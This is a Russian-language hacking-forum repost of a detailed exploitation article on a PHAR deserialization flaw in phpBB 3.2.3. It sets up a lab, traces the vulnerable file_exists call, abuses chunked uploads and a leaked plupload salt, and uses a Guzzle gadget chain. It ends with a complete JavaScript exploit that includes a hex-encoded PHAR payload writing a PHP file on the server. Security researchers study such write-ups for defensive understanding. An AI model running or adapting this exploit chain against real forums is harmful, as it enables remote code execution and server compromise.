• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Старый сарай, новые грабли. Эксплуатируем PHAR-десериализацию в phpBB

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Старый сарай, новые грабли. Эксплуатируем PHAR-десериализацию в phpBB

В знаменитом форумном движке phpBB обнаружилась уязвимость, связанная с PHP-десериализацией. В результате некорректной проверки настроек атакующий может сохранить файл с произвольным содержимым на целевой системе и таким образом получить выполнение произвольных команд и скомпрометировать сервер. Здесь я детально разберу каждый аспект обнаруженной проблемы и покажу способ ее эксплуатации.

Уязвимость связана с техникой PHAR-десериализации. Баг актуален для phpBB версии 3.2.3.

Думаю, что phpBB в представлении не нуждается. Он существует аж с 16 декабря 2000 года. Поднимем бокалы за его совершеннолетие! За это время движок повидал множество уязвимостей самого разного рода. Одна из самых известных — CVE-2004-1315, или в миру viewtopic highlight PHP injection. Этот баг был одним из первых, который я изучил.

Впрочем, вернемся к современным реалиям. Сейчас phpBB, конечно, растерял былую популярность, но все еще огромное количество площадок выбирает его как основную платформу общения пользователей.

Уязвимость нашел исследователь из RIPS Technologies, воспользовавшись сканером исходных кодов производства своей компании. Можно даже заценить его отчет.


Стенд
Начнем с привычного — поднятия среды для тестирования уязвимости. Форум работает со многими базами данных, но я буду использовать старый добрый MySQL в виде контейнера Docker. Рекомендую использовать версии из ветки 5.х, так как в последних бранчах (8.х) изменился протокол авторизации по умолчанию и клиентские библиотеки текущих репозиториев PHP не работают с ним. Такое поведение можно поменять в конфигурационном файле MySQL, но зачем лишние телодвижения для тестового стенда, верно?
Код:
$ docker run -e MYSQL_USER="phpbb" -e MYSQL_PASSWORD="JaLdqX5on0" -e MYSQL_DATABASE="phpbb" -d --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7
Теперь можно приступать к разворачиванию самого сервера. По традиции использую Debian.
Код:
$ docker run --rm -p80:80 -ti --name=phpbb --hostname=phpbb --link=mysql debian /bin/bash
Обновляем репозитории и ставим нужные пакеты.
Код:
$ apt update && apt install -y zip wget nano apache2 php php-mysql php-xml php-mbstring php-gd
Скачиваем архив с уязвимой версией форума phpBB (3.2.3) и распаковываем его.
Код:
$ cd /var/www/html
$ wget https://www.phpbb.com/files/release/phpBB-3.2.3.zip
$ unzip phpBB-3.2.3.zip
$ chown www-data:root -R phpBB3
Если хочется побаловаться с отладкой, то дополнительно ставим xdebug.
Код:
$ apt install -y php-xdebug
Настраиваем модуль и включаем его. Не забывай изменить IP под свои реалии.
Код:
$ echo "xdebug.remote_enable=1" >> /etc/php/7.0/mods-available/xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /etc/php/7.0/mods-available/xdebug.ini
$ phpenmod xdebug
Далее правим конфиги веб-сервера и запускаем его.
Код:
$ sed 's/html/html\/phpBB3/' -i /etc/apache2/sites-enabled/000-default.conf
$ service apache2 start
Теперь переходим в браузере по адресу контейнера и устанавливаем и настраиваем форум.

phpbb-installation-process.jpg


После завершения инсталляции не забудь снести папку install.
Код:
$ rm -rf /var/www/html/phpBB3/install
Стенд готов.


Часть первая: внедряем враппер phar
Начнем с просмотра исходников. Если ты внимательно изучал мою прошлую статью про PHAR-десериализацию, то знаешь, на вызовы каких функций стоит обратить особое внимание при поиске потенциально уязвимых мест. Конкретно в этом случае нужно поискать file_exists. Код phpBB объемный (~300 тысяч строк), и вызовов этой функции там предостаточно. Но нас интересуют только те, которым в качестве аргумента можно пропихнуть юзердату. Не буду тянуть и скажу, что интересующий нас вызов находится в файле functions_acp.php.

/phpBB3.2.3/includes/functions_acp.php
PHP:
420: function validate_config_vars($config_vars, &$cfg_array, &$error)
421: {
...
428:    foreach ($config_vars as $config_name => $config_definition)
429:    {
...
443:        switch ($validator[$type])
444:        {
...
544:            case 'rpath':
545:            case 'rwpath':
...
568:            case 'absolute_path':
569:            case 'absolute_path_writable':
570:            // Path being relative (still prefixed by phpbb_root_path), but with the ability to escape the root dir...
571:            case 'path':
572:            case 'wpath':
...
588:                $path = in_array($config_definition['validate'], array('wpath', 'path', 'rpath', 'rwpath')) ? $phpbb_root_path . $cfg_array[$config_name] : $cfg_array[$config_name];
589:
590:                if (!file_exists($path))
591:                {
592:                    $error[] = sprintf($user->lang['DIRECTORY_DOES_NOT_EXIST'], $cfg_array[$config_name]);
593:                }
594:
595:                if (file_exists($path) && !is_dir($path))
596:                {
597:                    $error[] = sprintf($user->lang['DIRECTORY_NOT_DIR'], $cfg_array[$config_name]);
598:                }
599:
600:                // Check if the path is writable
601:                if ($config_definition['validate'] == 'wpath' || $config_definition['validate'] == 'rwpath' || $config_definition['validate'] === 'absolute_path_writable')
602:                {
603:                    if (file_exists($path) && !$phpbb_filesystem->is_writable($path))
604:                    {
605:                        $error[] = sprintf($user->lang['DIRECTORY_NOT_WRITABLE'], $cfg_array[$config_name]);
606:                    }
607:                }
Из названия файла можно понять, что функция валидации конфигурационных переменных (validate_config_vars) заходит в нужную нам ветку, когда выполняется проверка путей в панели администратора (в терминологии phpBB ACP — Administrator Control Panel).

Проверим это. Откроем админку и найдем любой раздел, где можно указать путь.

phpbb-acp-attachments-settings.jpg


Как видишь, я открыл настройки прикрепленных файлов. Там есть опция Upload directory — папка, в которую они будут загружаться. Теперь поставим бряк где-нибудь в начале тела caseи нажмем Submit.

phpbb-debug-validate-config-vars-func.jpg

Отладки функции validate_config_vars в phpBB

Брейк-пойнт сработал, так как валидатором переменной upload_path служит wpath.

/phpBB3.2.3/includes/acp/acp_attachments.php
PHP:
138:                $display_vars = array(
...
150:                        'upload_path'           => array('lang' => 'UPLOAD_DIR',            'validate' => 'wpath',  'type' => 'text:25:100', 'explain' => true),
Никаких дополнительных проверок переменной $path не производится, и указанное пользователем значение попадает в качестве аргумента в функцию file_exists.

file-exists-function-argument.jpg

Передача пользовательских данных в функцию file_exists

Обрати внимание на добавленный префикс ./../. Он появляется, потому что мы имеем дело с настройкой, которая подразумевает относительные пути. Но для выполнения атаки нам нужен полный контроль над всей переменной, поскольку требуется передать значение, начинающееся с враппера phar://. Для этих целей отлично подойдут те настройки, у которых есть валидатор absolute_path.

Одна из таких — это img_imagick. Путь до бинарника утилиты ImageMagick для манипуляции с загруженными изображениями. Находится она там же, в разделе настройки аттачей.

/phpBB3.2.3/includes/acp/acp_attachments.php
PHP:
138:                $display_vars = array(
...
167:                        'img_imagick'               => array('lang' => 'IMAGICK_PATH',          'validate' => 'absolute_path',  'type' => 'text:20:200', 'explain' => true, 'append' => '&nbsp;&nbsp;<span>[ <a href="' . $this->u_action . '&amp;action=imgmagick">' . $user->lang['SEARCH_IMAGICK'] . '</a> ]</span>'),

phpbb-imagemagick-path-phar-wrapper-inject.jpg

Использование враппера phar в качестве пути к ImageMagick

Вот теперь получается настоящее внедрение, и первая часть атаки успешно выполнена.

file-exists-function-phar-wrapper-inject.jpg

Внедрение враппера phar в аргумент функции file_exists


Часть вторая: передаем архив PHAR
Теперь нам нужно каким-то образом передать файл на сервер. И не просто файл, а валидный архив PHAR. К счастью, phpBB — это продвинутая борда и здесь можно обмениваться файлами, прикреплять их к постам и, если такая настройка включена, отправлять в личных сообщениях. По умолчанию разрешается делать только первое.

phpbb-post-reply-add-attachments.jpg

Прикрепление файлов к сообщениям в теме форума phpBB

И это очень хорошо, потому что дефолтные настройки позволяют тебе загружать произвольные файлы с разрешением, например, tar без всякой валидации.

phpbb-attachment-extensions-config.jpg

Стандартные допустимые расширения для загрузки аттачей

А главное, что нам требуется для успешной атаки, — это локальный файл с любым расширением, содержащий корректный архив PHAR. Но вот незадача: после загрузки файл переименовывается и помещается в директорию files, и новое имя совсем не радует — оно не имеет расширения. И даже если бы и имело, угадать новое название не представляется возможным. Узнать можно только префикс — это ID пользователя и символ _, а остальная часть — это чистый рандом.

phpbb-attach-upload.jpg

phpBB переименовывает аттач после загрузки
/phpBB3.2.3/phpbb/attachment/upload.php
PHP:
014: namespace phpbb\attachment;
...
057:     /** @var \phpbb\files\filespec Current filespec instance */
058:     private $file;
...
028: class upload
029: {
...
109:    public function upload($form_name, $forum_id, $local = false, $local_storage = '', $is_message = false, $local_filedata = array())
110:    {
...
153:        $this->file->clean_filename('unique', $this->user->data['user_id'] . '_');
/phpBB3.2.3/phpbb/files/filespec.php
PHP:
014: namespace phpbb\files;
...
022: class filespec
023: {
...
205:    public function clean_filename($mode = 'unique', $prefix = '', $user_id = '')
206:    {
...
212:        switch ($mode)
213:        {
...
230:            case 'unique':
231:                $this->realname = $prefix . md5(unique_id());
232:            break;
Все нужные для последующей работы с файлом данные заносятся в базу данных.

phpbb-debug-attach-upload.jpg

Информация о прикрепленном файле хранится в таблице attachments

Однако стоит посмотреть на сам интерфейс для загрузки файлов. В phpBB используется библиотека plupload, которая помимо прочего позволяет грузить файлы частями (chunk). Дефолтный конфиг ты можешь найти в исходниках страницы.

/phpBB3.2.3/styles/prosilver/template/plupload.html
PHP:
01: <script type="text/javascript">
02: //<![CDATA[
03: phpbb.plupload = {
...
43: config: {
44: runtimes: 'html5',
45: url: '{S_PLUPLOAD_URL}',
46: max_file_size: '{FILESIZE}b',
47:         chunk_size: '{CHUNK_SIZE}b',

phpbb-plupload-configuration.jpg

Конфигурация загрузчика файлов plupload

Видишь опцию chunk_size? Она отвечает за размер чанка. Если размер файла больше, чем здесь указано, то файл бьется на куски. Проще всего проверить такое поведение, загрузив файл соответствующего размера. Первый запрос выглядит примерно так.
Bash:
POST /posting.php?mode=reply&f=2&t=1 HTTP/1.1
Host: phpbb.vh
x-requested-with: XMLHttpRequest
x-phpbb-using-plupload: 1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundary8fBKJ1ml3uW1MEF5
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»name»
o_1cuermhb71s51ssljbj1d781ht5g.tar
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»chunk»
0
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»chunks»
2
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»add_file»
Add the file
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»real_filename»
test.tar
——WebKitFormBoundary8fBKJ1ml3uW1MEF5
Content-Disposition: form-data; name=»fileupload»; filename=»blob»
Content-Type: application/octet-stream

——WebKitFormBoundary8fBKJ1ml3uW1MEF5—
Второй запрос имеет такой же вид за исключением инкрементированного параметра chunk и данных из второго куска. Делается два отдельных запроса, а это значит, что на бэкенде должно где-то храниться промежуточное состояние. Немного покурив исходники plupload, обнаружим функцию handle_upload. Это обработчик запросов загруженных файлов.

/phpBB3.2.3/phpbb/files/types/form.php
PHP:
79:     protected function form_upload($form_name)
80:     {
...
84:         $result = $this->plupload->handle_upload($form_name);
85:         if (is_array($result))
86:         {
87:             $upload = array_merge($upload, $result);
88:         }

/phpBB3.2.3/phpbb/plupload/plupload.php
PHP:
14: namespace phpbb\plupload;
...
19: class plupload
20: {
...
95:     public function handle_upload($form_name)
96:     {
Здесь можно найти много интересного о файлах, загружаемых частями.

/phpBB3.2.3/phpbb/plupload/plupload.php
PHP:
095:    public function handle_upload($form_name)
096:    {
097:        $chunks_expected = $this->request->variable('chunks', 0);
...
101:        if ($chunks_expected < 2)
102:        {
103:            return;
104:        }
...
106:        $file_name = $this->request->variable('name', '');
107:        $chunk = $this->request->variable('chunk', 0);
...
110:        $this->prepare_temporary_directory();
...
112:        $file_path = $this->temporary_filepath($file_name);
113:        $this->integrate_uploaded_file($form_name, $chunk, $file_path);
...
118:        if ($chunk == $chunks_expected - 1)
119:        {
120:            rename("{$file_path}.part", $file_path);
Если клиент инициализирует отправку файла чанками, то скрипт создаст временный файл и сложит в него переданные данные. Когда будет передан последний кусок, скрипт переименует его в соответствии с политикой phpBB. Обрати внимание на имя временного файла {$file_path}.part. Оно имеет расширение, вот это удача!
1f642.svg


Осталось узнать путь, по которому хранится файл, и его название. За первое отвечает метод prepare_temporary_directory. Здесь все просто, по дефолту временные файлы складываются в подпапку plupload директории, в которой хранятся загруженные файлы (files).

/phpBB3.2.3/phpbb/plupload/plupload.php
PHP:
365:    protected function prepare_temporary_directory()
366:    {
367:        if (!file_exists($this->temporary_directory))
368:        {
369:            mkdir($this->temporary_directory);
...
383:    protected function set_default_directories()
384:    {
385:        $this->upload_directory = $this->phpbb_root_path . $this->config['upload_path'];
386:        $this->temporary_directory = $this->upload_directory . '/plupload';
Имя файла генерируется в методе temporary_filepath.

/phpBB3.2.3/phpbb/plupload/plupload.php
PHP:
298:    protected function temporary_filepath($file_name)
299:    {
300:        // Must preserve the extension for plupload to work.
301:        return sprintf(
302:            '%s/%s_%s%s',
303:            $this->temporary_directory,
304:            $this->config['plupload_salt'],
305:            md5($file_name),
306:            \phpbb\files\filespec::get_extension($file_name)
307:        );
308:    }
Шаблон имени в итоге имеет такой вид:
Код:
<конфигурационная_переменная_plupload_salt>_<md5_хеш_от_переданного_имени_файла><оригинальное_расширение_файла>
И наконец, integrate_uploaded_file добавляет ко всему этому расширение .part.

/phpBB3.2.3/phpbb/plupload/plupload.php
PHP:
318:    protected function integrate_uploaded_file($form_name, $chunk, $file_path)
319:    {
...
334:        $out = fopen("{$file_path}.part", $chunk == 0 ? 'wb' : 'ab');
Чем же нам это может помочь? Все просто: если при отправке указать количество чанков, но передать их меньше, то временный файл будет просто лежать на диске и дожидаться оставшихся частей.

phpbb-plupload-chunk-test.jpg

Загрузка файла по частям в phpBB. Временные файлы имеют расширение part

Теперь вернемся к шаблону имени файла. Из всех его частей нам неизвестна только переменная plupload_salt. Она хранится в базе данных в таблице config.

phpbb-plupload-salt-variable-in-database.jpg

Переменная plupload_salt хранится в базе данных в таблице config

Но это вовсе не проблема, если у тебя есть права создателя форума, так как он может делать и скачивать резервные копии базы данных в соответствующем разделе.

phpbb-founder-backup-restore-db-perms.jpg

Права на создание и скачивание резервных копий БД у пользователя admin

Перехватим запрос на получение содержимого таблицы config, он нам пригодится при написании эксплоита.

plupload-salt-variable-in-db-backup.jpg



Часть третья: цепочка гаджетов и полезная нагрузка
Теперь, когда мы можем сохранять и вызывать архив PHAR, нужно разобраться с его содержимым. Как ты помнишь, в основе этой техники десериализация, а это значит, что нам понадобится цепочка гаджетов, которая даст требуемый результат.

При помощи поиска магических методов был обнаружен любопытный класс FileCookieJar, который создает файл после завершения работы скрипта.

/phpBB3.2.3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
PHP:
02: namespace GuzzleHttp\Cookie;
03: 
04: use GuzzleHttp\Utils;
...
09: class FileCookieJar extends CookieJar
10: {
...
33:     public function __destruct()
34:     {
35:         $this->save($this->filename);
36:     }
«Так это же GuzzleHttp!» — воскликнешь ты и будешь абсолютно прав. Этот HTTP-клиент на PHP, старый и проверенный вектор атаки.

Автоматизируем процесс создания полезной нагрузки. Для этого воспользуемся утилитой phpggc от ambionics. Она содержит в себе пачку популярных гаджетов, в том числе и наш GuzzleHttp.

phpggc-gadget-chains-list.jpg

Список доступных цепочек гаджетов в утилите phpggc

К тому же не так давно разработчики прикрутили к тулзе возможность сразу создавать архивы PHAR и даже валидные картинки в JPEG, которые в то же время читаются как PHAR.

В качестве аргументов запуска нам необходимо указать:

  • непосредственно файл с кодом на PHP. Его нам нужно доставить на целевую машину. Я буду выполнять каноничный phpinfo;
  • путь, доступный на запись пользователю, от которого работает PHP;
  • флаг, обозначающий, что мы создаем PHAR;
  • имя архива, который в итоге получится.
Сама утилита написана на PHP, так что не забывай отключить флаг «только чтение» для PHAR при ее запуске с помощью опции -dphar.readonly=0.
Таким образом, команда будет следующей:
Код:
$ php -dphar.readonly=0 phpggc -p phar -o evil.phar Guzzle/FW1 /var/www/html/phpBB3/pinfo.php /q/Tools/phpggc/pinfo.php

phpggc-create-phar-with-guzzle-payload.jpg

Создание файла PHAR с полезной нагрузкой

Учти, что данные будут записываться в формате JSON, такова особенность работы Guzzle. Поэтому составляй пейлоад правильно.

/phpBB3.2.3/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php
PHP:
44:     public function save($filename)
45:     {
46:         $json = [];
47:         foreach ($this as $cookie) {
48:             if ($cookie->getExpires() && !$cookie->getDiscard()) {
49:                 $json[] = $cookie->toArray();
50:             }
51:         }
52: 
53:         if (false === file_put_contents($filename, json_encode($json))) {
54:             // @codeCoverageIgnoreStart
55:             throw new \RuntimeException("Unable to save file {$filename}");
56:             // @codeCoverageIgnoreEnd
57:         }
58:     }
Теперь переименуем полученный файл в любой, который подойдет для загрузки в качестве аттача без проверки. Затем, используя технику с чанками, загрузим содержимое во временный файл.

phpbb-upload-payload-through-chunk.jpg

Загрузка файла PHAR с полезной нагрузкой на сервер во временный файл при помощи чанков

Так как md5("evil.zip") — это aaae9cba5fdadb1f0c384934cd20d11c, а plupload_salt в моем случае — de2623356e2cfb928d75d3798e09d0cb и расширение файла — zip, то адрес будет таким.
Код:
files/plupload/de2623356e2cfb928d75d3798e09d0cb_aaae9cba5fdadb1f0c384934cd20d11czip.part
По нему я смогу обнаружить PHAR, созданный в phpggc.

Осталось указать этот путь в качестве ImageMagick path в настройках форума и сохранить настройки.
Код:
phar://./../files/plupload/de2623356e2cfb928d75d3798e09d0cb_aaae9cba5fdadb1f0c384934cd20d11czip.part

phpbb-phar-unserialize-exploit-process.jpg

Эксплуатация уязвимости десериализации архива PHAR в phpBB

После этого переходим на /pinfo.php и наблюдаем страницу с информацией о PHP.

phpbb-phar-unserialize-exploit-success.jpg

Эксплуатация уязвимости увенчалась успехом


Часть четвертая: эксплоит
Теперь можно все объединить в один эксплоит. Как и ребята из RIPS, сделаем его на JavaScript.

Разобьем задачу на несколько шагов:

  • переход на страницу бэкапов для получения токенов формы;
  • скачивание бэкапа и получение plupload_salt;
  • отправка файла в виде чанка;
  • установка верного пути до загруженного файла в поле формы.
Скрипт будет работать со страницы настроек аттачей.

Сначала нужно объявить переменные, которые будем использовать в работе.
Код:
var plupload_salt = '';
var form_token = '';
var creation_time = '';
var filepath = 'phar://./../files/plupload/$salt_aaae9cba5fdadb1f0c384934cd20d11czip.part'; // md5('evil.zip') = aaae9cba5fdadb1f0c384934cd20d11czip
Далее обозначим содержимое файла PHAR с нагрузкой. Я использовал обычную строку с hex-конструкциями.
Код:
var payload = '<?php __HALT_COMPILER(); ?>\x0d\x0a\xfe\x01\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01'+'\x00'.repeat(5)+'\xc8\x01\x00\x00O:31:"GuzzleHttp\x5cCookie\x5cFileCookieJar":4:{s:41:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00filename";s:30:"/var/www/html/phpBB3/pinfo.php";s:52:"\x00GuzzleHttp\x5cCookie\x5cFileCookieJar\x00storeSessionCookies";b:1;s:36:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\x5cCookie\x5cSetCookie":1:{s:33:"\x00GuzzleHttp\x5cCookie\x5cSetCookie\x00data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:17:"<?php phpinfo();#";}}}s:39:"\x00GuzzleHttp\x5cCookie\x5cCookieJar\x00strictMode";N;}\x08\x00\x00\x00test.txt\x04\x00\x00\x00K>\x10\x5c\x04\x00\x00\x00\x0c~\x7f\xd8\xb6\x01'+'\x00'.repeat(6)+'test\xa0\x17\xd2\xe0R\xcf \xf6T\x1d\x01X\x91(\x9dD]X\x0b>\x02\x00\x00\x00GBMB';
Затем переводим ее в массив восьмиразрядных целых значений, чтобы избежать дальнейших проблем при создании файла.
Код:
var byteArray = Uint8Array.from(payload, function(c){return c.codePointAt(0);});
Теперь необходимо получить данные со страницы бэкапов для последующей отправки формы. Это легко сделать с помощью функции get() из jQuery. Идентификатор сессии (sid) берем из текущего URL.
Код:
var sid = (new URL(document.location.href)).searchParams.get('sid');
var url = '/adm/index.php';
var getparams = {
    'i': 'acp_database',
    'sid': sid,
    'mode': 'backup'
};
$.get(url, getparams, function(data) {
    form_token = $(data).find('[name="form_token"]').val();
    creation_time = $(data).find('[name="creation_time"]').val();
});
Получили нужные токены creation_time и form_token. Теперь отправляем POST-запрос на загрузку бэкапа таблицы config. Из него извлекаем значение plupload_salt. Весь следующий код выполняем в теле функции get, чтобы соблюсти правильную последовательность вызовов.
Код:
if(form_token && creation_time) {
    var posturl = '/adm/index.php?i=acp_database&sid=|&mode=backup&action=download';
    var postdata = {
        'type': 'data',
        'method': 'text',
        'where': 'download',
        'table[]': 'phpbb_config',
        'submit': 'Submit',
        'creation_time': creation_time,
        'form_token': form_token
    }
    $.post(posturl.replace("|", sid), postdata, function (data) {
        plupload_salt = data.match(/plupload_salt',\s*'(\w{32})/)[1];
        filepath = filepath.replace("$salt", plupload_salt);
    }, 'text');
}
Настало время загрузить PHAR с нагрузкой. Генерируем необходимые данные формы.
Код:
var postdata = new FormData();
postdata.append('name', 'evil.zip');
postdata.append('chunk', 0);
postdata.append('chunks', 2);
postdata.append('add_file', 'Add the file');
postdata.append('real_filename', 'evil.zip');
А затем и файловый объект.
Код:
var pharfile = new File([byteArray], 'evil.zip');
postdata.append('fileupload', pharfile);
Отправляем файл и, если запрос успешно выполнен, проверяем ответ сервера. Если и тут все нормально, то записываем получившийся путь до архива в настройку ImageMagick path.
Код:
jQuery.ajax({
    url: '/posting.php?mode=reply&f=2&t=1',
    data: postdata,
    cache: false,
    contentType: false,
    processData: false,
    method: 'POST',
    success: function(data){
        if ("id" in data) {
            $('#img_imagick').val(filepath).focus();
            $('html, body').animate({
                scrollTop: ($('#submit').offset().top)
            }, 500);
        }
    }
});
Если теперь нажать кнопку Submit, то эксплоит отработает и будет создан файл pinfo.php в директории /var/www/html//phpBB3.

Полный код PoC ты можешь найти на моем GitHub.


Заключение
Техника PHAR-десериализации приоткрыла очередной пласт проблем в существующих приложениях — мое предсказание оказалось верным. Та логика, которая раньше выглядела вполне приемлемой, теперь может представлять серьезную угрозу безопасности.

Проблема касается в том числе вызовов все той же функции file_exists. Банальная проверка существования пути на диске может закончиться выполнением произвольного кода. А разработчики phpBB уже выпустили обновление своего продукта, и в версии 3.2.4 уязвимость исправлена. Странно, но я не обнаружил никакой информации о CVE.

Думаю, что в ближайшее время количество находок, подобных этой, будет только расти. И чтобы твой продукт не пополнил нескончаемые отряды бюллетеней безопасности, рекомендую тщательнее тестировать код.


(c) aLLy
twitter.com/iamsecurity
взято с хакер.ру
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх